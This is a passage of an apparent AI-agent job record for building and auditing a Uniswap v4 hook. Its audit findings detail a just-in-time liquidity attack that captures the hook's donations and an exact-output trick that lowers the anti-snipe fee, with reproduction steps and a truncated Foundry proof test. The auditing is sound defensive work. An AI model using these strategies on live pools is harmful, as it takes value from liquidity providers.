{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"0737ccd4-ba99-4189-ad8c-147c8710a028","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"28b692ea4a159b028b239cfe1a3f4255603dcaee09c057636a902cd1b718be42","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"3b28b655524daf8a25fb4e8f039ce5698f46d33873d645046982e7184bf15d5f","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"7ae0e4197a6420160573ed7c8b5714409822a3c511b922a714efe91ba46d950a","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"fe6e1100a9e91219cf7d8d933df1490eb8d9391f0be1634ecf4f22928b3454c7","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"db223d941fc29286e2ba1c038556899b0d153a39a6f0bbb00ce442c10b126beb","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"03badfa80fc6a81a861bd0ed1bcfb9ebacfbc0ada44a16c11ef2b470eb4463b1","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"587567a5ef71546b5973ceaf6ef1dbbd590f49503b5ac9a6973ed86b89584857","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"587567a5ef71546b5973ceaf6ef1dbbd590f49503b5ac9a6973ed86b89584857","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"c55046e47f3c4277fdd7f5d3372118050960c903e0e18f78d4cdaa7dcc47ae4c","dependsOn":["build_contract_project","write_foundry_tests"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"9543e43e82fce147aec9d6b7ecbfb2c9ad85aa643e4e8e9c1f410ee293cc3718","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"accepted"}],"objective":"[SIMD-LAUNCH]\nToken name: SIMDTEST\nToken symbol: SIMDTEST\n\nSIMDTEST Uniswap v4 Hook launch for the SIMD Launchpad. The 1,000,000,000 token supply with 18 decimals is minted once; 10% allocated to the swarm via factory, 90% seeds the pool. The swap pool fee is fixed at 1.25%. This hook implements two immutable fees: 1) Anti-snipe fee: during the first 10 blocks after the pool opens, swaps incur a paired currency fee starting at 30% linearly decaying to 0% at block 10. The fee accrues in the hook and can be swept by anyone to the SIMD Hackathon vault (0x3dd5f73dd1a4e62630fad3909673f130ad429985). This fee is applied on swap amount deltas via beforeSwap/afterSwap call returns and is never swapped or burned internally. 2) Liquidity growth fee: a constant 0.5% fee on all swaps, collected in the paired currency on swap deltas, accrues in the hook. Anyone may call donateBatch() once every 3600 seconds to unlock the PoolManager and donate up to 50% of the accrued balance back into the pool as liquidity, benefiting in-range LPs. The hook parameters and fee rates are immutable and set at deployment; no admin or owner controls exist. The token SIMDTEST is a standard ERC20 with no transfer taxes or custom logic; transfers to the PoolManager are free of fees to obey Uniswap v4 settlement rules. The pool uses the fixed 1.25% fee tier, tickSpacing 60, and opening price as per Identity.md launchpad standards. The swarm allocation (10%) is handled off-chain by the factory distributing tokens directly; no contract mints or sends the swarm portion. The hook includes views pending() and lastBatch() for frontend UIs to display accrued liquidity fees and last donation times. SECURITY NOTES: Fees accrue only in the paired currency side. Anti-snipe and liquidity fees combined remain below 35%, with the anti-snipe fee decaying over 10 blocks to zero. sweep() and donateBatch() are externally callable by anyone without restrictions except timing for donateBatch(). No owner or admin powers exist, meeting SIMD fixed parameter requirements. TESTS AND REVIEW: 1) Swap behavior during first 10 blocks with correct linear anti-snipe fee decay. 2) Swap behavior after block 10 with only 0.5% liquidity growth fee. 3) Calling sweep() transfers anti-snipe fees correctly to the vault. 4) Calling donateBatch() transfers correct amounts back into the pool, respects one call per 3600 seconds and max 50% accrued balance. 5) Swaps with fees do not cause CurrencyNotSettled due to token transfers to PoolManager being free of fees. 6) Mainnet-fork tests simulate early blocks, swaps, and fee collections. 7) Adversarial review ensures no delegation, selfdestruct, owner powers, or updatable fees exist. This launch fulfills the SIMD Launchpad preset \"Liquidity growth\" with transparent, immutable fees supporting the community (SIMD Hackathon vault) and long-term liquidity expansion.\n\nBuild requirements (mandatory):\n- A complete Foundry project at the repository root: foundry.toml with solc 0.8.26, evm_version cancun, optimizer on and bytecode_hash = \"none\", so the build is reproducible.\n- Contracts: SIMDTESTHook. The hook is the hook of this launch's pool; keep its creation code within the EIP-3860 size limit.\n- No selfdestruct and no delegatecall anywhere in runtime code. No proxies, no owner, no upgradeability.\n- Chain: Ethereum mainnet (chainId 1). Uniswap v4 PoolManager: 0x000000000004444c5dc75cB358380D2e3dE08A90 (pass it to the hook constructor).\n- Paired currency: IMD, the ERC-20 at 0xd34a99bc0f67ae1bbd63c660e6d0b0dd03e263b7 on Ethereum mainnet (18 decimals).\n- Every address the hook needs is known now and fixed at deployment; nothing may require an owner or a setter after launch.\n- Supply distribution is done by the launch factory: it mints the supply, seeds the pool, sends the swarm's 10% through its Merkle distributor and any remainder to remainderTo. No contract here sends the swarm allocation, and the token always mints the entire 1,000,000,000 (1e27 units) to its deployer: never subtract the swarm's 10% (IMD's protected invariants park any launch whose deployer holds less).\n- Hook fees are collected through beforeSwap/afterSwap return deltas, on top of the pool's static 1.25% LP fee (fee tier 12500). Never use the dynamic-fee flag, never call updateDynamicLPFee, never override the LP fee. The hook never reverts a real swap; the only exception is a swap whose specified amount is so large that adding the hook fee would overflow int256 (for example type(int256).max requests): it may revert with UnrepresentableFee, and that is the accepted swap domain.\n- The hook is a plain immutable contract deployed directly at a CREATE2-mined address with the right permission bits, and launch.json names the hook itself (no wrapper or proxy between the manifest and the hook).\n- Tests: Foundry unit, fuzz and mainnet-fork tests that swap through the real PoolManager with the hook (exact-input and exact-output, buys and sells), plus permission bits matching the hook address.\n- launch.json pool: pairedCurrency 0xd34a99bc0f67ae1bbd63c660e6d0b0dd03e263b7, fee 12500, tickSpacing 60, initialPrice \"79228162514264337593543950336\" (provenance only; the launch factory sets the opening price from the economics).","parentJobId":null,"planHash":"59c8753deb474401c9c5bab99c865550ae76ae8ce1d7412fa08f340f821bd6f8","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"0737ccd4-ba99-4189-ad8c-147c8710a028","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-1009-simdtest"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51298","feedbackHash":"d354a723d1d5c65ffb5384b8d9d512f56ed40db880e88fe0b41895d6c6dad607","nodeKey":"audit_economics","submissionHash":"28b692ea4a159b028b239cfe1a3f4255603dcaee09c057636a902cd1b718be42","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51504","feedbackHash":"3ad94d4d26dc9abbb760498bef880e86b133bcf3e2fceae8678a77f082a522dc","nodeKey":"audit_flow","submissionHash":"3b28b655524daf8a25fb4e8f039ce5698f46d33873d645046982e7184bf15d5f","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52251","feedbackHash":"f6ae92e986f8d43bb5ea559d345ad8af6d3d061482e66c19b74a45fde9745afe","nodeKey":"audit_judge","submissionHash":"2a5afb87c2d09bc93e1e5045564d9ef1f1080f0aae92886c9cd142fb85ae76fd","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52261","feedbackHash":"0a83098cf91504a84350823b6b52db05ddb8588fa4c181813dce7a8ef6b0851d","nodeKey":"audit_judge","submissionHash":"7ae0e4197a6420160573ed7c8b5714409822a3c511b922a714efe91ba46d950a","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51023","feedbackHash":"206b5b9f0946de697b3e277c3f6bccfd9e445ce470990dc4f400cb58450a4a7b","nodeKey":"audit_math","submissionHash":"fe6e1100a9e91219cf7d8d933df1490eb8d9391f0be1634ecf4f22928b3454c7","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51538","feedbackHash":"b8aaa0d41a4215305c059be9251e2c6056b991fa4480c11f77a82aa2ac683fa8","nodeKey":"audit_permissions","submissionHash":"db223d941fc29286e2ba1c038556899b0d153a39a6f0bbb00ce442c10b126beb","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51176","feedbackHash":"6c291c9b63467335b8a7985bbb53d6fd1c4c1b59fb5aad1caf560a26716c1bb9","nodeKey":"build_contract_project","submissionHash":"03badfa80fc6a81a861bd0ed1bcfb9ebacfbc0ada44a16c11ef2b470eb4463b1","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50977","feedbackHash":"e39feef174671b46e0dc36250447bb0a812e15894bad77ad7015e6a1097a56f4","nodeKey":"build_contract_project","submissionHash":"fde7cae49baf708d3b46a767b4b90c5e02052cd866a6eef6b5dd933253822300","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51029","feedbackHash":"c2016436bfc39b3e15f1c5624e99e33d754249ce93262883631c348b3910b6e5","nodeKey":"build_contract_project","submissionHash":"189dfc71e90d6881140e8e260935bd9b3c92ca887f7c81e03af7c61458a23c6e","tag1":"verification:checks","tag2":"acceptance-v2","value":0},{"agentId":"51295","feedbackHash":"7a6dce968e49a5357dec8872e1974c78ccd9f8c90a67376e2a2be936a43bfc56","nodeKey":"manifest","submissionHash":"c55046e47f3c4277fdd7f5d3372118050960c903e0e18f78d4cdaa7dcc47ae4c","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52346","feedbackHash":"1460179ad8f6dd51c841c1d13ea370c6121f6652ca7539734102a8d8fe5fd9e5","nodeKey":"manifest","submissionHash":"9c7dcff4d93ae727f1ef93b4f4bf2d5fc496fe2805739a2435521f0868947f9a","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51407","feedbackHash":"036f735708e92bf812cd602d0ce8d532778c95ae8b68fbe2a4dee10f07147854","nodeKey":"write_foundry_tests","submissionHash":"9543e43e82fce147aec9d6b7ecbfb2c9ad85aa643e4e8e9c1f410ee293cc3718","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51011","feedbackHash":"c3126cb0f71b8c5ba1e2c5f65e361fbfea2e821019fb003e51276ce50de292b5","nodeKey":"write_foundry_tests","submissionHash":"66d9f99faa95af1bb75cfabbdd693025e7dd30b2231b5d179833744d994522fa","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"2fe52a6fdf7a892a35d8c802388ff987c127db093ab2fede0565e894f420d881","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"1695f53c131b79681b935cf75adef949d16e033da218ca4019ba9d89d157e595","device":"75b4fcc4e4ca5d9b","findings":[],"hash":"03badfa80fc6a81a861bd0ed1bcfb9ebacfbc0ada44a16c11ef2b470eb4463b1","nodeId":"0039cfe3-1249-40bb-b60d-8ecd7e884ce1","outcome":"completed","summary":"Fixed the fee-basis mismatch and added regression tests. The supplied fee proof passes.\n\nRecorded both findings in `.imd-responses.json`. Disputed the JIT finding: capture reproduces, but preventing it changes the specified donation behavior. Its proof still fails; the risk is documented.\n\nManifest kind was already correct. `forge build`, `forge test` and `forge fmt --check` pass: 35 tests passed; mainnet-fork testing skipped.","treeHash":"ea4726e383f16e9b1fa91051834c78f435b651ee","usage":{"cachedInputTokens":1843712,"inputTokens":114785,"model":"gpt-6-astra","outputTokens":13955,"runtime":"codex","turns":5,"wallClockMs":535167}},{"artifacts":[],"attempt":1,"bundleHash":"304c91e865db55ce42a4f3cac626647265c845597f264b898d14d88331692a85","device":"a11a254856120206","findings":[],"hash":"189dfc71e90d6881140e8e260935bd9b3c92ca887f7c81e03af7c61458a23c6e","nodeId":"0039cfe3-1249-40bb-b60d-8ecd7e884ce1","outcome":"completed","summary":"Implemented the token, immutable hook, launch manifest, vendored dependencies, ABIs, tests, and documentation.\n\nValidation passed: build, formatting, 38 offline tests, 11 protected checks, 2 mainnet fork tests, and the 2,000-run fuzz rerun.\n\nIndependent release review remains outstanding; scope and evidence are documented in `REVIEW.md`.","treeHash":"3c9689dd8670c0817835af53910b9e7de1bc0222","usage":{"cachedInputTokens":2474624,"inputTokens":127832,"model":"gpt-6-astra","outputTokens":39166,"runtime":"codex","turns":8,"wallClockMs":1365362}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1aabf616dd57561c","findings":[],"hash":"2227054146e26536b84430bca710a3d0e6ab1fab7abc7376a7a22889360998a8","nodeId":"533d5d9a-5588-4039-b57e-d98cce15ed18","outcome":"failed","summary":"could not restore accepted work: accepted work conflicts with a dependency, which plan validation should have prevented: ","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"codex","turns":0,"wallClockMs":904}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"2d027bc56749d95c","findings":[{"citation":"resolved","description":"The brief's 'Liquidity growth' preset says the 0.5% growth fee is donated 'back into the pool as liquidity, benefiting in-range LPs' for 'long-term liquidity expansion'. The implementation calls PoolManager.donate, which (Pool.donate, lib/v4-core/src/libraries/Pool.sol:473-487) credits feeGrowthGlobal pro rata to state.liquidity, the liquidity in range at that instant. donateBatch() is permissionless, its timing is public (lastBatch()+3600, pending() is a view), and the hook keeps no record of who supplied liquidity while the fees accrued. An attacker contract therefore does, inside one transaction and three separate unlocks: modifyLiquidity(+L) in a tight range around the current tick, hook.donateBatch(), modifyLiquidity(-L). Pool.donate does not change the price, so the attacker has zero inventory risk and pays only gas; with L = 1000x the seed liquidity they receive 1000/1001 of the donation. The honest seed position that carried the pool for the hour, and that the brief intends to benefit, receives the remaining 0.1%. Amplifier: when the price sits outside every position (e.g. a token-only seed range fully bought out) state.liquidity==0 and donateBatch() reverts NoLiquidityToReceiveFees; the first party to add even 1 wei of in-range liquidity then collects 100% of the donation. Who profits/loses: the attacker gains floor(pending/2) IMD each hour, for gas; long-term LPs lose the same amount. Note also that donate() never increases pool liquidity (README confirms: no position is created), so 'liquidity growth' is not achieved even when honest LPs receive it. Economic Security guide: 'legitimate features turned against the protocol' and 'extract value atomically'; Flow Gap seam execution x periphery x first principles (clean trace, Pool.donate semantics, violated purpose). The existing suite (test_DonationRewardsOnlyInRangeLiquidityWithoutMintingAPosition) only checks the mechanics for a pre-existing position and never adds liquidity around the call. Possible mitigations preserving the preset: time-weight eligibility (donate only to liquidity present at the previous batch via a hook-tracked snapshot), require positions to be older than the batch interval through beforeAddLiquidity/beforeRemoveLiquidity accounting, randomize/unpredictable batch timing, or have the hook hold and compound a hook-owned position instead of donating.","line":195,"path":"src/SIMDTESTHook.sol","reproduction":"State: pool initialized at sqrtPrice 2^96, seed LP 1e24 liquidity in [-600,600]; block opened+10 (no anti-snipe); trader exact-input buys 1000 IMD -> pending()=5e18. warp(lastBatch+3600). Attacker (holds both tokens): router.liquidity(key,[-60,60],+1e27); hook.donateBatch() returns 2.5e18; router.liquidity(key,[-60,60],-1e27). Expected: the donation accrues to the LPs who provided liquidity during the accrual period (seed LP), a transient position gets a negligible share. Actual: attacker IMD balance +2497502497502497503 (99.9% of the 2.5e18 donation) with token balance unchanged; seed LP collects 2497502497502497 (0.1%). Run: forge test --match-path test/scratch/JitDonation.t.sol -vv","severity":"medium","snippet":"            poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");","title":"donateBatch() pays the growth reserve to whoever is in range at call time, so a JIT LP takes ~99.9% of each donation with no price exposure"},{"citation":"resolved","description":"beforeSwap (specified IMD: exact-input buy, exact-output sell) computes anti = requested*rate and growth = requested*50/1e4 on the user's requested IMD amount and reduces/increases the core amount accordingly (lines 123-130), so fee/gross = rate. afterSwap (unspecified IMD: exact-output buy, exact-input sell) computes the fee on the core swap delta `base` (lines 153-154) and adds it on top, so the user's gross is base*(1+rate) and fee/gross = rate/(1+rate). For buys, the exact-input path charges the rate on what the user pays while the exact-output path charges it on what the pool receives; for sells, exact-input charges on what the pool pays out while exact-output charges on what the user nets. Concrete, opening block (rate 30.5%): exact-input buy of 100 IMD -> 68.6265 SIMDTEST, hook fee 30.5 IMD. Exact-output buy of the same 68.6265 SIMDTEST from the same state -> 90.6975 IMD paid, hook fee 21.1975 IMD. Same tokens, 9.3% cheaper, 30.5% less anti-snipe revenue to the vault and 30.5% less growth fee to LPs. Sell mirror: selling 100 SIMDTEST nets 68.62 IMD exact-input (fee 30.12) but 75.66 IMD exact-output (fee 23.08), 10.3% more. A sniper simply submits exact-output orders during blocks B..B+9 and the effective anti-snipe rate is 30/1.305 = 23.0% instead of the 30% the brief states; the brief's 'swaps incur a paired currency fee starting at 30%' holds only for half the swap modes. Trust Gap seam economics x asymmetry ('a formula whose result differs by input shape, exploitable by whoever picks the favorable side'); Asymmetry guide branch pair specified/unspecified. The README table documents the two bases but the brief does not sanction a mode-dependent rate. Fix: use one basis in both callbacks. Either (a) in afterSwap charge rate on the gross: fee = base*rate/(BPS-rate) for exact-output buys (user gross = base+fee, fee/gross = rate) and fee = base*rate for exact-input sells is already gross-based, with the matching change in beforeSwap for exact-output sells (fee = requested*rate/(BPS-rate)); or (b) define the rate on the pool-side amount everywhere and change beforeSwap exact-input to fee = requested*rate/(BPS+rate). The attached test passes under either choice because it asserts equal fee for equal token quantities.","line":153,"path":"src/SIMDTESTHook.sol","reproduction":"State: pool at sqrtPrice 2^96, 1e24 liquidity in [-600,600], opening block (antiSnipeBps()==3000). Call A: swap zeroForOne=buy, amountSpecified=-100e18 (exact-input IMD). Observe tokensOut=68626540074771493338, pending()+antiSnipePending()=30.5e18, IMD paid 100e18. Revert state. Call B: swap buy, amountSpecified=+68626540074771493338 (exact-output SIMDTEST). Observe IMD paid 90.6975e18, pending()+antiSnipePending()=21.1975e18. Expected: identical trade from identical state pays identical hook fee (and the brief's 30% anti-snipe on the IMD moved). Actual: fee 21.1975e18 vs 30.5e18 (-30.5%), total cost 90.6975e18 vs 100e18. Run: forge test --match-path test/scratch/FeeBasisAsymmetry.t.sol -vv","severity":"medium","snippet":"        uint256 base = _abs(pairedIs0 ? int256(delta.amount0()) : int256(delta.amount1()));\n        uint256 fee = _accrue(base * antiSnipeBps() / BPS, base * GROWTH_BPS / BPS);","title":"Hook fee basis differs by swap mode: exact-output trades pay the 30.5% opening-block rate on the pool-side amount (effective 23.4%), exact-input on the gross, so the same trade is 9-10% cheaper via ex"}],"hash":"28b692ea4a159b028b239cfe1a3f4255603dcaee09c057636a902cd1b718be42","nodeId":"94173a07-8253-4ea4-99ec-4996ad6bed9c","outcome":"completed","summary":"The review is complete. No tracked files were changed; the findings file sits at the repository root and the proofs under `test/scratch/`, both excluded from git by the existing ignore rules.\n\n**Two substantiated findings, both medium, both with a Foundry proof that fails on the current code.**\n\n1. **JIT capture of the growth donation** (`src/SIMDTESTHook.sol:195`). `donateBatch()` pays the reserve through `PoolManager.donate`, which splits it across whatever liquidity is in range at that instant. The call is public and its timing is predictable. An attacker adds 1000× the seed liquidity in a tight range, calls `donateBatch()`, and removes it, all in one transaction with no price exposure. In the proof the attacker took 2.4975 of a 2.5 IMD donation and the seed LP that carried the pool for the hour got 0.1%. When the price sits outside every position the donation reverts until someone adds in-range liquidity, and that party then takes all of it. The brief's \"long-term liquidity expansion\" is not what the mechanism delivers.\n\n2. **Fee basis depends on swap mode** (`src/SIMDTESTHook.sol:153`). `beforeSwap` charges the rate on the user's gross IMD while `afterSwap` charges it on the pool-side amount and adds it on top. In the opening block the same 68.6 SIMDTEST costs 100 IMD as exact-input but 90.7 IMD as exact-output, with the hook fee dropping from 30.5 to 21.2 IMD. Sells mirror this at about 10%. A sniper who submits exact-output orders faces an effective 23% anti-snipe rate instead of the briefed 30%, and the vault and LPs are underpaid by the same ratio.\n\n**Coverage.** All ten listed entry points have a row, plus four invariant rows. `beforeInitialize`, `sweep`, `unlockCallback`, `quotePairDelta` and the token functions hold after tracing checks, state changes and failure paths. I verified the nested quote cannot recurse because the vendored `Hooks` library skips callbacks when the hook itself is the swapper, and that it rolls back fully. Claims always equal `pending + antiSnipePending`, the combined rate never exceeds 30.5%, and the batch timer moves only on success. The slither leads (strict equality, unused return, timestamp) were checked and are benign.\n\n**Not reached.** Behaviour of the real IMD token on mainnet cannot be verified offline; the suite substitutes a plain ERC20 at its address and the fork test skips without an RPC. Gas cost of the rollback quote roughly doubles swap gas but is not a defect.","treeHash":null,"usage":{"cachedInputTokens":1631937,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":47520,"runtime":"claude","turns":32,"wallClockMs":737277}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"1731fbfe0c4574fb","findings":[{"citation":"resolved","description":"Merged from all four specialists (audit_math a499a654, audit_permissions 43be922a, audit_economics 3b2c94ac, audit_flow 704134fb); one root cause. beforeSwap (lines 123-130) charges rate*requested where requested is the trader's gross IMD budget (exact-input buy) or the net IMD the trader receives (exact-output sell), so the hook fee is `rate` of the trader-side IMD amount. afterSwap (lines 153-154) charges rate*base where base is the core pool delta before the hook fee is added on top (exact-output buy) or subtracted (exact-input sell), so the hook fee is rate/(1+rate) of what the trader actually pays or 1/(1+rate) less of what the trader actually gives up. At the opening block (3050 bps combined) the effective rate is 3050 bps for specified-IMD swaps and 2337 bps for unspecified-IMD swaps; the growth fee alone shows the same skew (50 vs 49.75 bps). The brief states one anti-snipe rate 'starting at 30%' on swaps; every v4 router offers both modes, so a sniper submits exact-output buys during blocks B..B+9 and exact-output sells on the way out and pays about 23% instead of 30%. Uniswap's own LP fee is a consistent fraction of gross input in both modes (exact-output uses amountIn*fee/(1e6-fee)); the hook is not. The vault (anti-snipe) and the growth reserve receive 30.5% less from every unspecified-IMD swap. The README table documents the two bases but does not state that they yield different effective rates, and the project's own fixture (test/helpers/LaunchFixture.sol:110-120) encodes the asymmetric basis as the expected result, so the suite cannot catch it. Severity medium: no user loses principal, but the brief's stated anti-snipe guarantee and the vault/LP revenue are broken under a condition the attacker chooses. Fix (either keeps the preset): gross-up the unspecified-side fee in afterSwap for buys, fee = base*rate/(BPS-rate), and in beforeSwap for exact-output sells, fee = requested*rate/(BPS-rate), so the fee is `rate` of gross IMD in all four modes; or define the rate on the pool-side amount everywhere and change the exact-input path to fee = requested*rate/(BPS+rate). Then update the fixture expectation.","line":154,"path":"src/SIMDTESTHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SIMDTEST} from \"src/SIMDTEST.sol\";\nimport {SIMDTESTHook} from \"src/SIMDTESTHook.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ncontract MintableERC20 is ERC20 {\n    constructor() ERC20(\"Identity\", \"IMD\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\n\ncontract ProofRouter is IUnlockCallback {\n    IPoolManager public immutable manager;\n    constructor(IPoolManager m) { manager = m; }\n\n    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (uint8 op, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (uint8, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (op == 1) (delta,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), \"\");\n        else delta = manager.swap(key, abi.decode(args, (SwapParams)), \"\");\n        _settle(key.currency0, delta.amount0(), payer);\n        _settle(key.currency1, delta.amount1(), payer);\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency c, int128 amount, address payer) private {\n        if (amount < 0) {\n            uint256 owed = uint256(-int256(amount));\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), owed);\n            manager.settle();\n        } else if (amount > 0) {\n            manager.take(c, payer, uint256(int256(amount)));\n        }\n    }\n}\n\n/// The hook's fee is a fixed percentage of the IMD leg of a trade. The percentage must not depend\n/// on whether the trader specifies the input or the output: for the same tokens bought from the same\n/// pool state in the same block, the hook must take the same IMD fee. On the current code an\n/// exact-output buy pays 21.1975 IMD where the exact-input buy of the same tokens pays 30.5 IMD.\ncontract ProofFeeBasisTest is Test {\n    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;\n    uint160 constant PRICE = 79228162514264337593543950336;\n    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);\n    uint256 constant LIQ = 1_000_000 ether;\n\n    IPoolManager manager;\n    SIMDTEST token;\n    SIMDTESTHook hook;\n    ProofRouter router;\n    PoolKey key;\n    uint256 opened;\n\n    function setUp() public {\n        vm.etch(PAIR, type(MintableERC20).runtimeCode);\n        MintableERC20(PAIR).mint(address(this), 1e30);\n        manager = new PoolManager(address(this));\n        token = new SIMDTEST();\n        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));\n        bytes32 h = keccak256(code);\n        bytes32 salt;\n        for (uint256 i;; ++i) {\n            salt = bytes32(i);\n            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, h)))));\n            if (uint160(p) & ((1 << 14) - 1) == FLAGS) break;\n        }\n        hook = new SIMDTESTHook{salt: salt}(manager, address(token));\n        key = hook.poolKey();\n        manager.initialize(key, PRICE);\n        opened = block.number;\n        router = new ProofRouter(manager);\n        token.approve(address(router), type(uint256).max);\n        IERC20(PAIR).approve(address(router), type(uint256).max);\n        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(LIQ), bytes32(0)));\n    }\n\n    function _params(bool buy, bool exactInput, uint256 amount) internal view returns (SwapParams memory) {\n        bool zeroForOne = buy == hook.pairedIs0();\n        return SwapParams(\n            zeroForOne,\n            exactInput ? -int256(amount) : int256(amount),\n            zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : 